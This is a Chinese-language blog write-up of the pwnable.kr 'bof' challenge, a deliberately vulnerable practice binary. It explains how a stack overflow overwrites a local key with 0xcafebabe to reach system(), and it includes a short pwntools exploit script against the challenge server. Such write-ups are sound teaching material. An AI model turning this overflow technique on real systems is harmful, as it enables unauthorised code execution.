bof

题目来自pwnable.kr

题目给了源码和可执行文件

查看源码可以知道 这是一个栈溢出

只要key=0xcafebabe  就会调用system函数,但是它传的参数是0xdeadbeef key的值不对 所以我们只要将key的值覆盖成0xcafebabe就可以了 

要计算出读取的字符串和key的距离

先检查一下防护机制


开启了堆栈不可执行和aslr和canary

ida反编译一下


可以的到s的寻址和key的寻址都是基于ebp

输入字符串的起始位置与key的距离 为2C+8

我们的padding长度为2C+8 

又因为0xcafebabe 在程序中是以小段模式存储 所以我们覆盖的也要是小段模式的

payload = 'a'*offset + '\xbe\xba\xfe\ca'

exp脚本

from pwn import * p = remote('pwnable.kr',9000)

offset = 0x2c+8

payload = 'a'*offset +"\xbe\xba\xfe\xca"

p.sendline(payload)

p.interactive()

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • Nana told me that buffer overflow is one of the most comm...
    Umiade阅读 4,075评论 0 0
  • 0x03 bof 题目描述: 解题思路: 下载后得到代码 这道题func()中有一个长度为32的字符串数组over...
    Pino_HD阅读 4,842评论 0 0
  • 下载好源码和源文件: 从源码可以看出这题大概是要溢出overflowme从而覆盖key的值为0xcafebabe,...
    2mpossible阅读 1,445评论 0 0
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 136,212评论 19 139
  • 宝宝两岁两个多月了,聪明伶俐,调皮捣蛋,外婆经常说,没有见过这么调皮的熊孩子。在家里,经常与外婆斗智斗勇,每...
    圆子6阅读 1,607评论 0 0

友情链接更多精彩内容